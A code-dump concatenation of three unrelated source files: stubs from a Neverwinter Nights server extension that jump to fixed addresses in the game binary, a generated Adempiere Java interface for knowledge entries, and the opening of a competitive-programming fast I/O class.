$0x082d32b4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerTURD>::AddHead(CNWSPlayerTURD *) { asm("leave"); asm("mov $0x081c1fd8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerTURD>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081c1d14, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerTURD>::GetHeadPos() { asm("leave"); asm("mov $0x081c1d08, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerTURD>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081c1d28, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerTURD>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081c1fc4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::AddHead(CLastUpdateObject *) { asm("leave"); asm("mov $0x0808306c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0805f528, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::GetHeadPos() { asm("leave"); asm("mov $0x0805f51c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0805f53c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::IsEmpty() { asm("leave"); asm("mov $0x0805f1a8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::RemoveHead() { asm("leave"); asm("mov $0x0805f1bc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdateObject>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x08083080, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdatePartyObject>::AddHead(CLastUpdatePartyObject *) { asm("leave"); asm("mov $0x08083330, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdatePartyObject>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0808331c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdatePartyObject>::GetHeadPos() { asm("leave"); asm("mov $0x08083310, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdatePartyObject>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x08083344, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLastUpdatePartyObject>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x08083358, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::AddHead(CNWSPlayerLUOInventoryItem *) { asm("leave"); asm("mov $0x081e4b00, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::Count() { asm("leave"); asm("mov $0x081e4af0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081e4924, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::GetHeadPos() { asm("leave"); asm("mov $0x081e4aac, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081e4ac8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::GetPrev(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081e4adc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::GetTailPos() { asm("leave"); asm("mov $0x081e4ab8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::IsEmpty() { asm("leave"); asm("mov $0x081e4a84, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::RemoveHead() { asm("leave"); asm("mov $0x081e4a98, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayerLUOInventoryItem>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081e4938, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::AddHead(C2DA *) { asm("leave"); asm("mov $0x080b9b4c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::Count() { asm("leave"); asm("mov $0x080b9b9c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x080b9b24, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::GetHeadPos() { asm("leave"); asm("mov $0x080b9b18, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x080b9b60, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::IsEmpty() { asm("leave"); asm("mov $0x080b9b74, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::RemoveHead() { asm("leave"); asm("mov $0x080b9b88, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::RemoveTail() { asm("leave"); asm("mov $0x080b9bac, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<C2DA>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x080b9b38, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::AddHead(CRes *) { asm("leave"); asm("mov $0x082b41e4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::AddTail(CRes *) { asm("leave"); asm("mov $0x082b420c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b40fc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::GetHeadPos() { asm("leave"); asm("mov $0x082b40f0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::GetHead() { asm("leave"); asm("mov $0x082b41a4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082b41bc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::IsEmpty() { asm("leave"); asm("mov $0x082b41d0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::RemoveHead() { asm("leave"); asm("mov $0x082b41f8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CRes>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b4110, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::AddHead(unsigned long *) { asm("leave"); asm("mov $0x081a73bc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::AddTail(unsigned long *) { asm("leave"); asm("mov $0x080b1670, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::Count() { asm("leave"); asm("mov $0x0805ef40, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x08082ec4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::GetHeadPos() { asm("leave"); asm("mov $0x0805ef20, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0805ef2c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::GetPrev(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x08082c34, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::GetTailPos() { asm("leave"); asm("mov $0x08082c24, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::IsEmpty() { asm("leave"); asm("mov $0x081a74d0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::RemoveHead() { asm("leave"); asm("mov $0x081a74e4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned long>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x08086480, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::AddTail(CERFString *) { asm("leave"); asm("mov $0x082b829c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::Count() { asm("leave"); asm("mov $0x082b82b0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b82cc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::GetHeadPos() { asm("leave"); asm("mov $0x082b82c0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082b82e0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::IsEmpty() { asm("leave"); asm("mov $0x082b818c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFString>::RemoveHead() { asm("leave"); asm("mov $0x082b81a0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::AddTail(CExoString *) { asm("leave"); asm("mov $0x081f5cb0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082acf78, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::GetHeadPos() { asm("leave"); asm("mov $0x082acf6c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082acf8c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::IsEmpty() { asm("leave"); asm("mov $0x081f5c88, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::RemoveHead() { asm("leave"); asm("mov $0x081f5c9c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CExoString>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082acfa0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CKeyTableInfo>::AddTail(CKeyTableInfo *) { asm("leave"); asm("mov $0x082c51ec, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CKeyTableInfo>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082c520c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CKeyTableInfo>::GetHeadPos() { asm("leave"); asm("mov $0x082c5200, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CKeyTableInfo>::RemoveHead() { asm("leave"); asm("mov $0x082c5220, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::AddTail(ExoLocString_st *) { asm("leave"); asm("mov $0x082d1258, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::GetHeadPos() { asm("leave"); asm("mov $0x082d1220, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::GetHead() { asm("leave"); asm("mov $0x082d122c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082d1244, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::IsEmpty() { asm("leave"); asm("mov $0x082d12d8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::RemoveHead() { asm("leave"); asm("mov $0x082d12ec, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<ExoLocString_st>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082d1300, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::AddTail(CNWSDialogPlayer *) { asm("leave"); asm("mov $0x081d6364, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::Count() { asm("leave"); asm("mov $0x0823e70c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::GetHeadPos() { asm("leave"); asm("mov $0x0823e6e8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::GetHead() { asm("leave"); asm("mov $0x0823e6f4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0823e730, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::IsEmpty() { asm("leave"); asm("mov $0x081c86c0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::RemoveHead() { asm("leave"); asm("mov $0x0823e6d4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSDialogPlayer>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0823e71c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::AddTail(CLinuxFileSection *) { asm("leave"); asm("mov $0x082d3208, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::GetHeadPos() { asm("leave"); asm("mov $0x082d3248, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::GetHead() { asm("leave"); asm("mov $0x082d3230, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082d3254, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::IsEmpty() { asm("leave"); asm("mov $0x082d3304, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::RemoveHead() { asm("leave"); asm("mov $0x082d3318, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CLinuxFileSection>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082d32f0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWAreaExpansion_st>::AddTail(NWAreaExpansion_st *) { asm("leave"); asm("mov $0x080d5c2c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWAreaExpansion_st>::IsEmpty() { asm("leave"); asm("mov $0x080d5c40, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWAreaExpansion_st>::RemoveHead() { asm("leave"); asm("mov $0x080d5c54, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleCutScene_st>::AddTail(NWModuleCutScene_st *) { asm("leave"); asm("mov $0x081c1c6c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleCutScene_st>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081c1d7c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleCutScene_st>::GetHeadPos() { asm("leave"); asm("mov $0x081c1d70, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleCutScene_st>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081c1d90, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleCutScene_st>::IsEmpty() { asm("leave"); asm("mov $0x081c1c08, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleCutScene_st>::RemoveHead() { asm("leave"); asm("mov $0x081c1c1c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::AddTail(NWPlayerListItem_st *) { asm("leave"); asm("mov $0x081c1c94, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::Count() { asm("leave"); asm("mov $0x081c1da4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081c1dc0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::GetHeadPos() { asm("leave"); asm("mov $0x081c1db4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081c1dd4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::IsEmpty() { asm("leave"); asm("mov $0x081c1be0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWPlayerListItem_st>::RemoveHead() { asm("leave"); asm("mov $0x081c1bf4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleExpansion_st>::AddTail(NWModuleExpansion_st *) { asm("leave"); asm("mov $0x081c1c58, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleExpansion_st>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x081c1d48, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleExpansion_st>::GetHeadPos() { asm("leave"); asm("mov $0x081c1d3c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleExpansion_st>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081c1d5c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleExpansion_st>::IsEmpty() { asm("leave"); asm("mov $0x081c1c30, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<NWModuleExpansion_st>::RemoveHead() { asm("leave"); asm("mov $0x081c1c44, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::AddTail(CERFKey *) { asm("leave"); asm("mov $0x082b8204, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::Count() { asm("leave"); asm("mov $0x082b8324, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b8238, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::GetHeadPos() { asm("leave"); asm("mov $0x082b822c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082b82f4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::IsEmpty() { asm("leave"); asm("mov $0x082b81b4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::RemoveHead() { asm("leave"); asm("mov $0x082b81c8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFKey>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b8260, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::AddTail(CERFRes *) { asm("leave"); asm("mov $0x082b8218, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::Count() { asm("leave"); asm("mov $0x082b8308, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b824c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::GetHeadPos() { asm("leave"); asm("mov $0x082b8318, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082b8288, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::IsEmpty() { asm("leave"); asm("mov $0x082b81dc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::RemoveHead() { asm("leave"); asm("mov $0x082b81f0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CERFRes>::Remove(CExoLinkedListNode *) { asm("leave"); asm("mov $0x082b8274, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CResRef>::AddTail(CResRef *) { asm("leave"); asm("mov $0x081c1c80, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CResRef>::GetHeadPos() { asm("leave"); asm("mov $0x081c1ca8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CResRef>::GetHead() { asm("leave"); asm("mov $0x081c1cb4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CResRef>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x081c1ccc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CResRef>::IsEmpty() { asm("leave"); asm("mov $0x081c1ce0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CResRef>::RemoveHead() { asm("leave"); asm("mov $0x081c1cf4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned short>::AddTail(unsigned short *) { asm("leave"); asm("mov $0x082acde4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned short>::GetHeadPos() { asm("leave"); asm("mov $0x082ace10, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned short>::GetHead() { asm("leave"); asm("mov $0x082acdf8, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned short>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x082ace1c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned short>::IsEmpty() { asm("leave"); asm("mov $0x082acdbc, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<unsigned short>::RemoveHead() { asm("leave"); asm("mov $0x082acdd0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayer>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x08050fe0, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayer>::GetHeadPos() { asm("leave"); asm("mov $0x08050fd4, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayer>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0805109c, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayer *>::GetAtPos(CExoLinkedListNode *) { asm("leave"); asm("mov $0x0813f164, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayer *>::GetHeadPos() { asm("leave"); asm("mov $0x0813f158, %eax"); asm("jmp *%eax"); } template <> int CExoLinkedList<CNWSPlayer *>::GetNext(CExoLinkedListNode *&) { asm("leave"); asm("mov $0x0813f178, %eax"); asm("jmp *%eax"); }
Baaleos/nwnx2-linux
api/CExoLinkedList.cpp
C++
gpl-2.0
29,415
/****************************************************************************** * Product: Adempiere ERP & CRM Smart Business Solution * * Copyright (C) 1999-2007 ComPiere, Inc. All Rights Reserved. * * This program is free software, you can redistribute it and/or modify it * * under the terms version 2 of the GNU General Public License as published * * by the Free Software Foundation. This program is distributed in the hope * * that it will be useful, but WITHOUT ANY WARRANTY, without even the implied * * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * * with this program, if not, write to the Free Software Foundation, Inc., * * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. * * For the text or an alternative of this public license, you may reach us * * ComPiere, Inc., 2620 Augustine Dr. #245, Santa Clara, CA 95054, USA * * or via info@compiere.org or http://www.compiere.org/license.html * *****************************************************************************/ package org.compiere.model; import java.math.BigDecimal; import java.sql.Timestamp; import org.compiere.util.KeyNamePair; /** Generated Interface for K_Entry * @author Adempiere (generated) * @version Release 3.5.4a */ public interface I_K_Entry { /** TableName=K_Entry */ public static final String Table_Name = "K_Entry"; /** AD_Table_ID=612 */ public static final int Table_ID = MTable.getTable_ID(Table_Name); KeyNamePair Model = new KeyNamePair(Table_ID, Table_Name); /** AccessLevel = 3 - Client - Org */ BigDecimal accessLevel = BigDecimal.valueOf(3); /** Load Meta Data */ /** Column name AD_Client_ID */ public static final String COLUMNNAME_AD_Client_ID = "AD_Client_ID"; /** Get Client. * Client/Tenant for this installation. */ public int getAD_Client_ID(); /** Column name AD_Org_ID */ public static final String COLUMNNAME_AD_Org_ID = "AD_Org_ID"; /** Set Organization. * Organizational entity within client */ public void setAD_Org_ID (int AD_Org_ID); /** Get Organization. * Organizational entity within client */ public int getAD_Org_ID(); /** Column name AD_Session_ID */ public static final String COLUMNNAME_AD_Session_ID = "AD_Session_ID"; /** Set Session. * User Session Online or Web */ public void setAD_Session_ID (int AD_Session_ID); /** Get Session. * User Session Online or Web */ public int getAD_Session_ID(); public I_AD_Session getAD_Session() throws RuntimeException; /** Column name Created */ public static final String COLUMNNAME_Created = "Created"; /** Get Created. * Date this record was created */ public Timestamp getCreated(); /** Column name CreatedBy */ public static final String COLUMNNAME_CreatedBy = "CreatedBy"; /** Get Created By. * User who created this records */ public int getCreatedBy(); /** Column name DescriptionURL */ public static final String COLUMNNAME_DescriptionURL = "DescriptionURL"; /** Set Description URL. * URL for the description */ public void setDescriptionURL (String DescriptionURL); /** Get Description URL. * URL for the description */ public String getDescriptionURL(); /** Column name IsActive */ public static final String COLUMNNAME_IsActive = "IsActive"; /** Set Active. * The record is active in the system */ public void setIsActive (boolean IsActive); /** Get Active. * The record is active in the system */ public boolean isActive(); /** Column name IsPublic */ public static final String COLUMNNAME_IsPublic = "IsPublic"; /** Set Public. * Public can read entry */ public void setIsPublic (boolean IsPublic); /** Get Public. * Public can read entry */ public boolean isPublic(); /** Column name K_Entry_ID */ public static final String COLUMNNAME_K_Entry_ID = "K_Entry_ID"; /** Set Entry. * Knowledge Entry */ public void setK_Entry_ID (int K_Entry_ID); /** Get Entry. * Knowledge Entry */ public int getK_Entry_ID(); /** Column name Keywords */ public static final String COLUMNNAME_Keywords = "Keywords"; /** Set Keywords. * List of Keywords - separated by space, comma or semicolon */ public void setKeywords (String Keywords); /** Get Keywords. * List of Keywords - separated by space, comma or semicolon */ public String getKeywords(); /** Column name K_Source_ID */ public static final String COLUMNNAME_K_Source_ID = "K_Source_ID"; /** Set Knowledge Source. * Source of a Knowledge Entry */ public void setK_Source_ID (int K_Source_ID); /** Get Knowledge Source. * Source of a Knowledge Entry */ public int getK_Source_ID(); public I_K_Source getK_Source() throws RuntimeException; /** Column name K_Topic_ID */ public static final String COLUMNNAME_K_Topic_ID = "K_Topic_ID"; /** Set Knowledge Topic. * Knowledge Topic */ public void setK_Topic_ID (int K_Topic_ID); /** Get Knowledge Topic. * Knowledge Topic */ public int getK_Topic_ID(); public I_K_Topic getK_Topic() throws RuntimeException; /** Column name Name */ public static final String COLUMNNAME_Name = "Name"; /** Set Name. * Alphanumeric identifier of the entity */ public void setName (String Name); /** Get Name. * Alphanumeric identifier of the entity */ public String getName(); /** Column name Rating */ public static final String COLUMNNAME_Rating = "Rating"; /** Set Rating. * Classification or Importance */ public void setRating (int Rating); /** Get Rating. * Classification or Importance */ public int getRating(); /** Column name TextMsg */ public static final String COLUMNNAME_TextMsg = "TextMsg"; /** Set Text Message. * Text Message */ public void setTextMsg (String TextMsg); /** Get Text Message. * Text Message */ public String getTextMsg(); /** Column name Updated */ public static final String COLUMNNAME_Updated = "Updated"; /** Get Updated. * Date this record was updated */ public Timestamp getUpdated(); /** Column name UpdatedBy */ public static final String COLUMNNAME_UpdatedBy = "UpdatedBy"; /** Get Updated By. * User who updated this records */ public int getUpdatedBy(); /** Column name ValidTo */ public static final String COLUMNNAME_ValidTo = "ValidTo"; /** Set Valid to. * Valid to including this date (last day) */ public void setValidTo (Timestamp ValidTo); /** Get Valid to. * Valid to including this date (last day) */ public Timestamp getValidTo(); }
klst-com/metasfresh
de.metas.adempiere.adempiere/base/src/main/java-gen/org/compiere/model/I_K_Entry.java
Java
gpl-2.0
6,929
#include <iostream> #include <algorithm> #include <cstring> #include <cmath> #include <regex> #include <vector> #include <array> using ll = long long; namespace IO { using namespace std; class endln { }; class iofstream { private: int idx; bool eof; char buf[100005], *ps, *pe; char bufout[100005], outtmp[50], *pout, *pend; inline void rnext() { if (++ps == pe) pe = (ps = buf) + fread(buf, sizeof(char), sizeof(buf) / sizeof(char), stdin), eof = true; eof = ps != pe; } inline void write() { fwrite(bufout, sizeof(char), pout - bufout, stdout); pout = bufout; } public: iofstream() : idx(-1), eof(true) { pe = (ps = buf) + 1; pend = (pout = bufout) + 100005; } ~iofstream() { write(); } template<class T> inline bool fin(T &ans) { #ifdef ONLINE_JUDGE ans = 0; T f = 1; if (ps == pe) { return eof = false; } do { rnext(); if ('-' == *ps) f = -1; } while (!isdigit(*ps) && ps != pe); if (ps == pe) { return eof = false; } do { ans = (ans << 1) + (ans << 3) + *ps - 48; rnext(); } while (isdigit(*ps) && ps != pe); ans *= f; #else cin >> ans; #endif return true; } template<class T> inline bool fdb(T &ans) { #ifdef ONLINE_JUDGE ans = 0; T f = 1; if (ps == pe) return false;//EOF do { rnext(); if ('-' == *ps) f = -1; } while (!isdigit(*ps) && ps != pe); if (ps == pe) return false;//EOF do { ans = ans * 10 + *ps - 48; rnext(); } while (isdigit(*ps) && ps != pe); ans *= f; if (*ps == '.') { rnext(); T small = 0; do { small = small * 10 + *ps - 48; rnext(); } while (isdigit(*ps) && ps != pe); while (small >= 1) { small /= 10; } ans += small; } #else cin >> ans; #endif return true; } /* * 输出挂 * 超强 超快 */ inline bool out_char(const char c) { #ifdef ONLINE_JUDGE *(pout++) = c; if (pout == pend) write(); #else cout << c; #endif return true; } inline bool out_str(const char *s) { #ifdef ONLINE_JUDGE while (*s) { *(pout++) = *(s++); if (pout == pend) write(); } #else cout << s; #endif return true; } template<class T> inline bool out_double(T x, int idx) { char str[50]; string format = "%"; if (~idx) { format += '.'; format += (char) (idx + '0'); } format += "f"; sprintf(str, format.c_str(), x); out_str(str); return true; } 